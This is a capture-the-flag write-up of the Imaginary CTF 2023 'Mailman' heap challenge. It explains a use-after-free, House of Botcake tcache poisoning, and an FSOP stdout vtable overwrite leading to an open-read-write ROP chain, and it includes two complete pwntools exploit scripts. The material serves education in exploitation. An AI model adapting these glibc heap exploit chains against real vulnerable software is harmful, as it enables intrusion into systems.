# Imaginary CTF 2023: Mailman This year I played Imaginary and here is the writeup of a challenge I think is quite struggling ![](https://hackmd.io/_uploads/rk_w0Lj32.png) ```c int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { char *v3; // rax int v4; // [rsp+Ch] [rbp-24h] BYREF size_t size; // [rsp+10h] [rbp-20h] BYREF __int64 v6; // [rsp+18h] [rbp-18h] __int64 v7; // [rsp+20h] [rbp-10h] unsigned __int64 v8; // [rsp+28h] [rbp-8h] v8 = __readfsqword(0x28u); v6 = seccomp_init(0LL, argv, envp); seccomp_rule_add(v6, 2147418112LL, 2LL, 0LL); seccomp_rule_add(v6, 2147418112LL, 0LL, 0LL); seccomp_rule_add(v6, 2147418112LL, 1LL, 0LL); seccomp_rule_add(v6, 2147418112LL, 5LL, 0LL); seccomp_rule_add(v6, 2147418112LL, 60LL, 0LL); seccomp_load(v6); setbuf(stdin, 0LL); setbuf(stdout, 0LL); puts("Welcome to the post office."); puts("Enter your choice below:"); puts("1. Write a letter"); puts("2. Send a letter"); puts("3. Read a letter"); while ( 1 ) { while ( 1 ) { printf("> "); __isoc99_scanf("%d%*c", &v4); if ( v4 != 3 ) break; v7 = inidx(); puts(mem[v7]); } if ( v4 > 3 ) break; if ( v4 == 1 ) { v7 = inidx(); printf("letter size: "); __isoc99_scanf("%lu%*c", &size); v3 = (char *)malloc(size); mem[v7] = v3; printf("content: "); fgets(mem[v7], size, stdin); } else { if ( v4 != 2 ) break; v7 = inidx(); free(mem[v7]); } } puts("Invalid choice!"); _exit(0); } ``` A typical heap note challenge with 3 functions: `create`, `delete`, `view`. ```sh Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: b'.' ``` Familiar things in heap challenges, where 4 mitigations are enabled. `Seccomp` is also enabled to make RCE harder, dump it and we can see. ```sh seccomp-tools dump ./vuln ─╯ line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0011 0005: 0x15 0x04 0x00 0x00000000 if (A == read) goto 0010 0006: 0x15 0x03 0x00 0x00000001 if (A == write) goto 0010 0007: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0010 0008: 0x15 0x01 0x00 0x00000005 if (A == fstat) goto 0010 0009: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0011 0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0011: 0x06 0x00 0x00 0x00000000 return KILL ``` Only `open`, `read`, `write` allowed. It's enough to build a ROP chain with these syscalls. ## Looking for a bug ```py { if ( v4 != 2 ) break; v7 = inidx(); free(mem[v7]); } } puts("Invalid choice!"); _exit(0); } ``` Here, the pointers being freed are not nullified and we can free it unlimited time &rarr; `Use-After-Free` ### Getting a leak: Achieving a leak is super duper ez, here we can see after freeing a chunk. ![](https://hackmd.io/_uploads/rkHPfwjn2.png) ![](https://hackmd.io/_uploads/Sk2qGPj3n.png) Libc provided was the 2.35 version, with pointers encoded. To decode it, you can simply shift `chunk->fd` 12 bits left. ![](https://hackmd.io/_uploads/SJwxQDsnh.png) With simple calculations, we can find the heap base address. How about leaking libc? Simply, by creating a chunk with size larger than the default tcache size, then free it. But, it doesn't seem to be easy like I said...because: ![](https://hackmd.io/_uploads/rkLnXPjnh.png) ![](https://hackmd.io/_uploads/ByFCQwj3h.png) The `main_arena` address was expected, but no address was found. When I check the `bins`, lots of freed chunks are there because of seccomp implementation. So I have to make the bins empty, then allocate a chunk with size outside the range of tcache, and a chunk to avoid heap consolidation. ![](https://hackmd.io/_uploads/HJo4Bvj23.png) ```py from pwn import * e = context.binary = ELF("./vuln") r = e.process() #r = remote("mailman.chal.imaginaryctf.org", 1337) libc = ELF("./libc.so.6") def a(idx: int, size: int, content: bytes): r.recv() r.sendline(b'1') r.recv() r.sendline(str(idx).encode()) r.recv() r.sendline(str(size).encode()) r.recv() r.sendline(content) def f(idx: int): r.recv() r.sendline(b'2') r.recv() r.sendline(str(idx).encode()) def v(idx: int): r.recv() r.sendline(b'3') r.recv() r.sendline(str(idx).encode()) def enc(a: int, b: int): return p64(a^(b>>12)) gs = """ brva 0x158D brva 0x15BC brva 0x1478 """ gdb.attach(r, gs) # Use-after-free # House of botcake a(0, 0x100, b'A') f(0) v(0) heap = (u64(r.recvuntil(b'\x05')[-5:].ljust(8, b'\0')) << 12) - 0x2000 log.info(f'Heap: {hex(heap)}') for i in range(16): a(0, 0x18, b'A') a(0, 0x68, b'A') for i in range(9): a(0, 0x78, b'A') a(0, 0x420, b'A') # victim a(1, 0x40, b'A') # chunk avoid consolidation f(0) v(0) libc.address = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\0')) - libc.sym['main_arena'] - 96 log.info(f'Libc: {hex(libc.address)}') ``` ### RCE Due to seccomp, `open-read-write` ROP is inevitable, but where to write Since `libc 2.34`, some removals have been updated, namely all the hooks and csu gadget. `__free_hook` and `__malloc_hook` no longer exists, so At first, I think about leaking stack and overwrite `saved rip`, but when seeing the `add` function again, what is used to receive input is `fgets`, which will add null-byte to the end of our input. This make leaking stack through overwriting RIP seems no longer possible... After a while googling, I try to continue with the idea of building ROP chain through overwriting `stdout.vtable and stdout.wide_data`. So how to do that? First, I would like to introduce about how to arbitrary allocate a desired address. With `double-free`, we can use this [House of Botcake](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_botcake.c). - Allocating 9 chunks with same size, and a chunk to avoid any consolidation. - Then free the first 7 chunks to fill tcache - Free the 9th chunk to put into unsortedbin, which is a victim chunk - Free the 8th chunk to consolidate with the 8th one. Now we have our unsorted chunk with size 0x741 - After that, we will allocate our selected size before, which libc will reduce the count for 0x3a0 tcache to 6. - Free the victim again (9th chunk) to put into tcache. - Allocate a chunk with size 0x738, now we are able to do tcache poisoning. ![](https://hackmd.io/_uploads/rkFNRvin3.png) With tcache poisoning, I choose to overwrite its fd with `_IO_2_1_stdout`. ```py for i in range(1, 8): a(i, 0x390, b'A') a(9, 0x390, b'A') a(10, 0x390, b'A') # victim a(11, 0x28, b'A') for i in range(1, 8): f(i) f(10) f(9) a(12, 0x390, b'A') f(10) a(13, 0x738, b'A' * 0x398 + p64(0x3a1) + enc(libc.sym['_IO_2_1_stdout_'], heap + 0x45a0)) ``` Remember to encode `stdout` by this formula: ```py (arbitrary address ^ (chunk address >> 12)) ``` ### FSROP I prefer you to understand about the implementation of FILE stream first before reading my explanation, check [this site](https://www.slideshare.net/AngelBoy1/play-with-file-structure-yet-another-binary-exploit-technique) for understanding the read primitive and write primitive through FSOP. I will briefly recapitulate the FILE stream ```py pwndbg> p _IO_2_1_stdout_ $1 = { file = { _flags = -72537977, _IO_read_ptr = 0x7fd87341a803 <_IO_2_1_stdout_+131> "\n", _IO_read_end = 0x7fd87341a803 <_IO_2_1_stdout_+131> "\n", _IO_read_base = 0x7fd87341a803 <_IO_2_1_stdout_+131> "\n", _IO_write_base = 0x7fd87341a803 <_IO_2_1_stdout_+131> "\n", _IO_write_ptr = 0x7fd87341a803 <_IO_2_1_stdout_+131> "\n", _IO_write_end = 0x7fd87341a803 <_IO_2_1_stdout_+131> "\n", _IO_buf_base = 0x7fd87341a803 <_IO_2_1_stdout_+131> "\n", _IO_buf_end = 0x7fd87341a804 <_IO_2_1_stdout_+132> "", _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7fd873419aa0 <_IO_2_1_stdin_>, _fileno = 1, _flags2 = 0, _old_offset = -1, _cur_column = 0, _vtable_offset = 0 '\000', _shortbuf = "\n", _lock = 0x7fd87341ba70 <_IO_stdfile_1_lock>, _offset = -1, _codecvt = 0x0, _wide_data = 0x7fd8734199a0 <_IO_wide_data_1>, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = -1, _unused2 = '\000' <repeats 19 times> }, vtable = 0x7fd873416600 <__GI__IO_file_jumps> } pwndbg> ``` This is a complex structure, in which we will focus on something needed for our exploit. - `flags` will define behaviour of the file stream. - `chain` will act as a linked list for IO flush, where `_IO_list_all` points to `stserr`, `stderr->chain` points to `stdout`, `stdout->chain` points to `stdin`. - `fileno` is the number of that file descriptor, that is returned by the `open` syscall. - `_IO_read_base`, `_IO_write_base`, `_IO_write_end`,... are stream buffers. - `vtable` is the optimal way to operate on file stream, which makes easier to switch and call necessary functions. An example being `printf` and `puts` both execute syscall `write` with different implementation before. Thinking for a while, if we can write to stdout and make the flow change, where will be the first place that would have different behavior first? After writing to `stdout`, we will reach a call to `printf`. ```c while ( 1 ) { while ( 1 ) { printf("> "); ``` Checking the `printf` function and disassembler. ```sh pwndbg> disass printf Dump of assembler code for function __printf: => 0x00007f61a2460770 <+0>: endbr64 0x00007f61a2460774 <+4>: sub rsp,0xd8 0x00007f61a246077b <+11>: mov r10,rdi 0x00007f61a246077e <+14>: mov QWORD PTR [rsp+0x28],rsi 0x00007f61a2460783 <+19>: mov QWORD PTR [rsp+0x30],rdx 0x00007f61a2460788 <+24>: mov QWORD PTR [rsp+0x38],rcx 0x00007f61a246078d <+29>: mov QWORD PTR [rsp+0x40],r8 0x00007f61a2460792 <+34>: mov QWORD PTR [rsp+0x48],r9 0x00007f61a2460797 <+39>: test al,al 0x00007f61a2460799 <+41>: je 0x7f61a24607d2 <__printf+98> 0x00007f61a246079b <+43>: movaps XMMWORD PTR [rsp+0x50],xmm0 0x00007f61a24607a0 <+48>: movaps XMMWORD PTR [rsp+0x60],xmm1 0x00007f61a24607a5 <+53>: movaps XMMWORD PTR [rsp+0x70],xmm2 0x00007f61a24607aa <+58>: movaps XMMWORD PTR [rsp+0x80],xmm3 0x00007f61a24607b2 <+66>: movaps XMMWORD PTR [rsp+0x90],xmm4 0x00007f61a24607ba <+74>: movaps XMMWORD PTR [rsp+0xa0],xmm5 0x00007f61a24607c2 <+82>: movaps XMMWORD PTR [rsp+0xb0],xmm6 0x00007f61a24607ca <+90>: movaps XMMWORD PTR [rsp+0xc0],xmm7 0x00007f61a24607d2 <+98>: mov rax,QWORD PTR fs:0x28 0x00007f61a24607db <+107>: mov QWORD PTR [rsp+0x18],rax 0x00007f61a24607e0 <+112>: xor eax,eax 0x00007f61a24607e2 <+114>: lea rax,[rsp+0xe0] 0x00007f61a24607ea <+122>: mov rdx,rsp 0x00007f61a24607ed <+125>: xor ecx,ecx 0x00007f61a24607ef <+127>: mov QWORD PTR [rsp+0x8],rax 0x00007f61a24607f4 <+132>: lea rax,[rsp+0x20] 0x00007f61a24607f9 <+137>: mov rsi,r10 0x00007f61a24607fc <+140>: mov QWORD PTR [rsp+0x10],rax 0x00007f61a2460801 <+145>: mov rax,QWORD PTR [rip+0x1b8630] # 0x7f61a2618e38 0x00007f61a2460808 <+152>: mov DWORD PTR [rsp],0x8 0x00007f61a246080f <+159>: mov rdi,QWORD PTR [rax] 0x00007f61a2460812 <+162>: mov DWORD PTR [rsp+0x4],0x30 0x00007f61a246081a <+170>: call 0x7f61a24750b0 <__vfprintf_internal> 0x00007f61a246081f <+175>: mov rdx,QWORD PTR [rsp+0x18] 0x00007f61a2460824 <+180>: sub rdx,QWORD PTR fs:0x28 0x00007f61a246082d <+189>: jne 0x7f61a2460837 <__printf+199> 0x00007f61a246082f <+191>: add rsp,0xd8 0x00007f61a2460836 <+198>: ret 0x00007f61a2460837 <+199>: call 0x7f61a2536720 <__stack_chk_fail> End of assembler dump. ``` `printf` will call `__vfprintf_internal` ![](https://hackmd.io/_uploads/H1O9buohn.png) ```sh pwndbg> x/40i 0x7f244bc75180 => 0x7f244bc75180 <__vfprintf_internal+208>: mov r12,QWORD PTR [rbp+0xd8] 0x7f244bc75187 <__vfprintf_internal+215>: lea rax,[rip+0x1a15da] # 0x7f244be16768 0x7f244bc7518e <__vfprintf_internal+222>: mov rbx,QWORD PTR [rsp+0x68] 0x7f244bc75193 <__vfprintf_internal+227>: lea rcx,[rip+0x1a0866] # 0x7f244be15a00 <_IO_helper_jumps> 0x7f244bc7519a <__vfprintf_internal+234>: sub rax,QWORD PTR [rip+0x1a2677] # 0x7f244be17818 0x7f244bc751a1 <__vfprintf_internal+241>: sub rbx,QWORD PTR [rsp+0x8] 0x7f244bc751a6 <__vfprintf_internal+246>: mov QWORD PTR [rsp+0x30],rax 0x7f244bc751ab <__vfprintf_internal+251>: mov rdi,rax 0x7f244bc751ae <__vfprintf_internal+254>: mov rax,r12 0x7f244bc751b1 <__vfprintf_internal+257>: sub rax,rcx 0x7f244bc751b4 <__vfprintf_internal+260>: cmp rdi,rax 0x7f244bc751b7 <__vfprintf_internal+263>: jbe 0x7f244bc76a50 <__vfprintf_internal+6560> 0x7f244bc751bd <__vfprintf_internal+269>: mov rsi,QWORD PTR [rsp+0x8] 0x7f244bc751c2 <__vfprintf_internal+274>: mov rdx,rbx 0x7f244bc751c5 <__vfprintf_internal+277>: mov rdi,rbp 0x7f244bc751c8 <__vfprintf_internal+280>: call QWORD PTR [r12+0x38] 0x7f244bc751cd <__vfprintf_internal+285>: cmp rbx,rax 0x7f244bc751d0 <__vfprintf_internal+288>: jne 0x7f244bc767a8 <__vfprintf_internal+5880> 0x7f244bc751d6 <__vfprintf_internal+294>: movsxd rdx,ebx 0x7f244bc751d9 <__vfprintf_internal+297>: mov rax,rbx 0x7f244bc751dc <__vfprintf_internal+300>: mov r12d,ebx 0x7f244bc751df <__vfprintf_internal+303>: shr rax,0x3f 0x7f244bc751e3 <__vfprintf_internal+307>: cmp rbx,rdx 0x7f244bc751e6 <__vfprintf_internal+310>: mov edx,0x1 0x7f244bc751eb <__vfprintf_internal+315>: cmovne eax,edx 0x7f244bc751ee <__vfprintf_internal+318>: test eax,eax ``` `rbp` points to `stdout`, and `[rbp + 0xd8]` is the address of `vtable`, and in the disassembler ```sh 0x7f244bc751c8 <__vfprintf_internal+280>: call QWORD PTR [r12+0x38] ``` Based on the address of `vtable`, it will call the function with offset 0x38 bytes after the vtable. So what happened if we try to overwrite `vtable` with another address that we want to redirect? Everything will change, but some checks must be bypassed. ```c #ifdef ORIENT /* Check for correct orientation. */ if (_IO_vtable_offset (s) == 0 && _IO_fwide (s, sizeof (CHAR_T) == 1 ? -1 : 1) != (sizeof (CHAR_T) == 1 ? -1 : 1)) /* The stream is already oriented otherwise. */ return EOF; #endif if (UNBUFFERED_P (s)) /* Use a helper function which will allocate a local temporary buffer for the stream and then call us again. */ return buffered_vfprintf (s, format, ap, mode_flags); ``` We have to bypass the `vtable` check, which needs to be in an allowed offset in `libc`. I found an extremely useful [blog](https://niftic.ca/posts/fsop/) which has a variety for write primitives in `FILE stream`. So, I will choose to overwrite `stdout->vtable` to this address. ![](https://hackmd.io/_uploads/SynCNuj23.png) ![](https://hackmd.io/_uploads/BkurBOi32.png) `_IO_wfile_overflow` -> `_IO_wdoallocbuf` ```c 406 _IO_wfile_overflow (FILE *f, wint_t wch) 407 { 408 if (f->_flags & _IO_NO_WRITES) /* SET ERROR */ 409 { 410 f->_flags |= _IO_ERR_SEEN; 411 __set_errno (EBADF); 412 return WEOF; 413 } 414 /* If currently reading or no buffer allocated. */ 415 if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0) 416 { 417 /* Allocate a buffer if needed. */ 418 if (f->_wide_data->_IO_write_base == 0) 419 { 420 _IO_wdoallocbuf (f); ``` In `_IO_wdoallocbuf`, what we need is here: ```c 363 void 364 _IO_wdoallocbuf (FILE *fp) 365 { 366 if (fp->_wide_data->_IO_buf_base) 367 return; 368 if (!(fp->_flags & _IO_UNBUFFERED)) 369 if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF) // in __GI_IO_wdoallocbuf +36 and +43 370 return; 371 _IO_wsetb (fp, fp->_wide_data->_shortbuf, 372 fp->_wide_data->_shortbuf + 1, 0); 373 } 374 libc_hidden_def (_IO_wdoallocbuf) ``` ```sh Dump of assembler code for function __GI__IO_wdoallocbuf: => 0x00007f244bc83bf0 <+0>: endbr64 0x00007f244bc83bf4 <+4>: mov rax,QWORD PTR [rdi+0xa0] 0x00007f244bc83bfb <+11>: cmp QWORD PTR [rax+0x30],0x0 0x00007f244bc83c00 <+16>: je 0x7f244bc83c08 <__GI__IO_wdoallocbuf+24> 0x00007f244bc83c02 <+18>: ret 0x00007f244bc83c03 <+19>: nop DWORD PTR [rax+rax*1+0x0] 0x00007f244bc83c08 <+24>: push r12 0x00007f244bc83c0a <+26>: push rbp 0x00007f244bc83c0b <+27>: push rbx 0x00007f244bc83c0c <+28>: mov rbx,rdi 0x00007f244bc83c0f <+31>: test BYTE PTR [rdi],0x2 0x00007f244bc83c12 <+34>: jne 0x7f244bc83c88 <__GI__IO_wdoallocbuf+152> 0x00007f244bc83c14 <+36>: mov rax,QWORD PTR [rax+0xe0] 0x00007f244bc83c1b <+43>: call QWORD PTR [rax+0x68] ``` Dive deeper, we will analyze the disassembler combined with the source code. ```sh => 0x00007f244bc83bf0 <+0>: endbr64 0x00007f244bc83bf4 <+4>: mov rax,QWORD PTR [rdi+0xa0] ``` `rdi` points to `stdout`, `[rdi + 0xa0]` is the address of `stdout->_IO_wide_data`. ```c if (fp->_wide_data->_IO_buf_base) 367 return; 368 if (!(fp->_flags & _IO_UNBUFFERED)) 369 if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF) ``` Conclusively, here is what we need to do: ``` stdout->_flags = 0 (or any value that is acceptable) stdout->_IO_wide_data = address of a heap chunk () stdout->_IO_wide_data->_IO_write_base = 0 stdout->_IO_wide_data->_IO_buf_base = 0 ``` After reaching here, set `[_IO_wide_data + 0xe0]->_chain` to `setcontext` or whatever to continue our ROP chain. Fortunately, `setcontext` use the address of `rdx`, and we also have `rdx` points to `stdout->_IO_wide_data`. ![](https://hackmd.io/_uploads/HJ0Kq_s22.png) If you hadn't heard about `setcontext` trick, I recommend you view [this blog](https://lkmidas.github.io/posts/20210103-heap-seccomp-rop/) **Final script:** ```py from pwn import * e = context.binary = ELF("./vuln") r = e.process() #r = remote("mailman.chal.imaginaryctf.org", 1337) libc = ELF("./libc.so.6") def a(idx: int, size: int, content: bytes): r.recv() r.sendline(b'1') r.recv() r.sendline(str(idx).encode()) r.recv() r.sendline(str(size).encode()) r.recv() r.sendline(content) def f(idx: int): r.recv() r.sendline(b'2') r.recv() r.sendline(str(idx).encode()) def v(idx: int): r.recv() r.sendline(b'3') r.recv() r.sendline(str(idx).encode()) def enc(a: int, b: int): return p64(a^(b>>12)) gs = """ brva 0x158D brva 0x15BC brva 0x1478 """ gdb.attach(r, gs) # Use-after-free # House of botcake a(0, 0x100, b'A') f(0) v(0) heap = (u64(r.recvuntil(b'\x05')[-5:].ljust(8, b'\0')) << 12) - 0x2000 pause() log.info(f'Heap: {hex(heap)}') for i in range(16): a(0, 0x18, b'A') a(0, 0x68, b'A') for i in range(9): a(0, 0x78, b'A') a(0, 0x420, b'A') a(1, 0x40, b'A') f(0) v(0) libc.address = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\0')) - libc.sym['main_arena'] - 96 log.info(f'Libc: {hex(libc.address)}') pop_rdi = libc.address + 0x000000000002a3e5 pop_rsi = libc.address + 0x000000000002be51 pop_rdx_rbx = libc.address + 0x0000000000090529 pop_rax = libc.address + 0x0000000000045eb0 syscall_ret = libc.address + 0x127179 xchg_eax_edi = libc.address + 0x000000000014a385 setcontext = libc.sym['setcontext'] + 61 a(1, 0x420, b'A') for i in range(1, 8): a(i, 0x390, b'A') a(9, 0x390, b'A') a(10, 0x390, b'A') # victim a(11, 0x28, b'A') for i in range(1, 8): f(i) f(10) f(9) a(12, 0x390, b'A') f(10) a(13, 0x738, b'A' * 0x398 + p64(0x3a1) + enc(libc.sym['_IO_2_1_stdout_'], heap + 0x45a0)) # overwrite _IO_2_1_stdout.vtable so that it calls _IO_wfile_overflow -> _IO_wdoallocbuf -> setcontext -> ROP payload = b'\0' * 0x68 payload += p64(setcontext) payload = payload.ljust(0xa0, b'\0') payload += p64(heap + 0x4690) payload += p64(pop_rdi + 1) payload = payload.ljust(0xe0, b'\0') payload += p64(heap + 0x45a0) payload += p64(pop_rdi + 1) payload += p64(pop_rdi) payload += p64(heap + 0x4760) payload += p64(pop_rsi) payload += p64(0) payload += p64(pop_rdx_rbx) payload += p64(0) + p64(0) payload += p64(pop_rax) payload += p64(2) payload += p64(syscall_ret) payload += p64(pop_rdi) payload += p64(0) payload += p64(xchg_eax_edi) payload += p64(pop_rax) payload += p64(0) payload += p64(pop_rsi) payload += p64(heap + 0x1000) payload += p64(pop_rdx_rbx) payload += p64(0x100) + p64(0) payload += p64(syscall_ret) payload += p64(pop_rdi) payload += p64(2) payload += p64(pop_rax) payload += p64(1) payload += p64(syscall_ret) payload += b'./flag.txt\0' a(0, 0x398, payload) stdout = libc.sym['_IO_2_1_stdout_'] stdin = libc.sym['_IO_2_1_stdin_'] fp = p64(0) fp += p64(stdout + 131) * 7 fp += p64(stdout + 132) fp += p64(0) * 4 fp += p64(stdin) fp += p64(0x1) + p64(0xffffffffffffffff) fp += p64(0x000000000000000) + p64(libc.address + 0x21ba70) fp += p64(0xffffffffffffffff) + p64(0) fp += p64(heap + 0x45a0) # set _IO_wide_data of stdout in order to bypass _IO_wfile_overflow check fp += p64(0) * 3 + p64(0x00000000ffffffff) fp += p64(0) * 2 fp += p64(libc.sym['_IO_wfile_jumps_mmap'] + 24 - 0x38) # fake vtable pause() a(1, 0x398, fp) r.interactive() ``` ### Another solution Get back to my first silly idea to leak stack, after submitting flag, I noticed that we can use FSOP to leak stack. What we can do to leak stack will be further elaborated here ```sh _flags = 0xfbad1800 _IO_read_end = _IO_read_ptr = _IO_read_base = NULL _IO_write_base = environ _IO_write_ptr = environ + 8 ``` Equivalent to ```c if ((f->_flags & _IO_UNBUFFERED) || ((f->_flags & _IO_LINE_BUF) && ch == '\n')) if (_IO_do_write (f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base) == EOF) return EOF; ``` ```c write(1, environ, _IO_write_ptr - IO_write_base) ``` After having stack, building ROP chain is a trouble-free work. **Script:** ```py from pwn import * e = context.binary = ELF("./vuln") #r = e.process() r = remote("mailman.chal.imaginaryctf.org", 1337) libc = ELF("./libc.so.6") def a(idx: int, size: int, content: bytes): r.recv() r.sendline(b'1') r.recv() r.sendline(str(idx).encode()) r.recv() r.sendline(str(size).encode()) r.recv() r.sendline(content) def f(idx: int): r.recv() r.sendline(b'2') r.recv() r.sendline(str(idx).encode()) def v(idx: int): r.recv() r.sendline(b'3') r.recv() r.sendline(str(idx).encode()) def enc(a: int, b: int): return p64(a^(b>>12)) gs = """ brva 0x158D brva 0x15BC brva 0x1478 b*main+573 """ #gdb.attach(r, gs) # Use-after-free # House of botcake a(0, 0x100, b'A') f(0) v(0) heap = (u64(r.recvuntil(b'\x05')[-5:].ljust(8, b'\0')) << 12) - 0x2000 #pause() log.info(f'Heap: {hex(heap)}') for i in range(16): a(0, 0x18, b'A') a(0, 0x68, b'A') for i in range(9): a(0, 0x78, b'A') a(0, 0x420, b'A') a(1, 0x40, b'A') f(0) v(0) libc.address = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\0')) - libc.sym['main_arena'] - 96 log.info(f'Libc: {hex(libc.address)}') pop_rdi = libc.address + 0x000000000002a3e5 pop_rsi = libc.address + 0x000000000002be51 pop_rdx_rbx = libc.address + 0x0000000000090529 pop_rax = libc.address + 0x0000000000045eb0 syscall = libc.address + 0x127179 xchg_eax_edi = libc.address + 0x000000000014a385 setcontext = libc.sym['setcontext'] + 61 a(1, 0x420, b'A') for i in range(1, 8): a(i, 0x390, b'A') a(9, 0x390, b'A') a(10, 0x390, b'A') # victim a(11, 0x28, b'A') for i in range(1, 8): f(i) f(10) f(9) a(12, 0x390, b'A') f(10) a(13, 0x738, b'A' * 0x398 + p64(0x3a1) + enc(libc.sym['_IO_2_1_stdout_'], heap + 0x45a0)) # overwrite _IO_2_1_stdout.vtable so that it calls _IO_wfile_overflow -> _IO_wdoallocbuf -> setcontext -> ROP a(1, 0x390, b'A') payload = p64(0xfbad1800) # _flags payload += p64(0) payload += p64(0) payload += p64(0) payload += p64(libc.sym['environ']) #_IO_write_base payload += p64(libc.sym['environ'] + 8) # _IO_write_ptr a(2, 0x390, payload) stack = u64(r.recvuntil(b'\x7f')[-6:] + b'\0' * 2) log.info(f'Stack: {hex(stack)}') for i in range(10): a(i, 0x300, b'A') for i in range(7): f(i) f(8) f(7) a(9, 0x300, b'A') #pause() f(8) rbp = stack - 0x168 - 0x20 a(10, 0x618, b'\0' * 0x308 + p64(0x311) + enc(rbp, heap + 0x61f0)) pause() a(11, 0x308, b'A') #pause() payload = p64(0) * 5 payload += p64(pop_rdi) payload += p64(0) payload += p64(pop_rsi) payload += p64(heap + 0x15000) payload += p64(pop_rdx_rbx) + p64(0x100) + p64(0) payload += p64(libc.sym['read']) # read(0, heap + 0x15000, 0x100) write flag to this payload += p64(pop_rdi) payload += p64(heap + 0x15000) payload += p64(pop_rsi) payload += p64(0) payload += p64(pop_rax) payload += p64(2) payload += p64(syscall) # open('./flag.txt', O_RDONLY) payload += p64(pop_rdi) payload += p64(0) payload += p64(xchg_eax_edi) payload += p64(pop_rsi) payload += p64(heap + 0x16000) payload += p64(pop_rdx_rbx) payload += p64(0x100) + p64(0) payload += p64(syscall) # read(flag_fd, heap + 0x16000, 0x100) payload += p64(pop_rdi) payload += p64(heap + 0x16000) payload += p64(libc.sym.puts) # puts(heap + 0x16000) a(12, 0x308, payload) sleep(1) r.send(b'./flag.txt\0') r.interactive() ``` A heap challenge with ORW and lots of things to learn. FSOP is too complex to understand and hope that I will have a chance to find out more path with this technique.